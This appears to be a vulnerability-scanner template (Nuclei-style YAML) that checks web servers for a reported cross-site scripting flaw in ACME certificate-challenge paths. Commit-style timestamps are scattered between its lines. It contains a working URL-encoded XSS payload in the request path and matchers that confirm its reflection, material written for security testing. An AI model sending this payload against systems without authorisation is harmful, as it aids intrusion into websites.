2021-01-10 13:11:25 +00:00
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id: acme-xss
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info:
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2022-09-23 17:53:08 +00:00
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name: Let's Encrypt - Cross-Site Scripting
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2021-04-06 06:46:11 +00:00
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author: pdteam
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2022-09-23 17:53:08 +00:00
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severity: high
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description: Let's Encrypt contains a cross-site scripting vulnerability when using the the ACME protocol to issue SSL certificates.
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reference:
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- https://www.mike-gualtieri.com/posts/chaining-remote-web-vulnerabilities-to-abuse-lets-encrypt
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- https://community.letsencrypt.org/t/xss-via-acme-implementations/72295
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
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cvss-score: 7.2
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cwe-id: CWE-79
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2023-04-28 08:11:21 +00:00
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metadata:
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max-request: 1
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2023-10-14 11:27:55 +00:00
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tags: xss,acme
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2021-01-10 13:11:25 +00:00
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2023-04-27 04:28:59 +00:00
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http:
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2021-01-10 13:11:25 +00:00
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- method: GET
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path:
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- '{{BaseURL}}/.well-known/acme-challenge/%3C%3fxml%20version=%221.0%22%3f%3E%3Cx:script%20xmlns:x=%22http://www.w3.org/1999/xhtml%22%3Ealert%28document.domain%26%23x29%3B%3C/x:script%3E'
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2021-01-10 22:01:24 +00:00
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matchers-condition: and
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2021-01-10 13:11:25 +00:00
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matchers:
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- type: word
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words:
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2022-09-23 17:53:08 +00:00
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- "<?xml version=\"1.0\"?><x:script xmlns:x=\"http://www.w3.org/1999/xhtml\">alert(document.domain)</x:script>"
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2023-10-14 11:27:55 +00:00
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2021-01-10 13:11:25 +00:00
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- type: word
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2021-01-10 22:01:24 +00:00
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words:
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2021-01-10 13:11:25 +00:00
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- "/xml"
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- "/html"
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2023-10-20 11:41:13 +00:00
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# digest: 4a0a0047304502203dd1e78138abdcb11458df6497089b1232c5ec8f429da1e504786ce6e180c311022100f2c5e21e37c88c7db45d50a91564b14cf9e10142f8cf80bc0edd322cbb70cc41:922c64590222798bb761d5b6d8e72950
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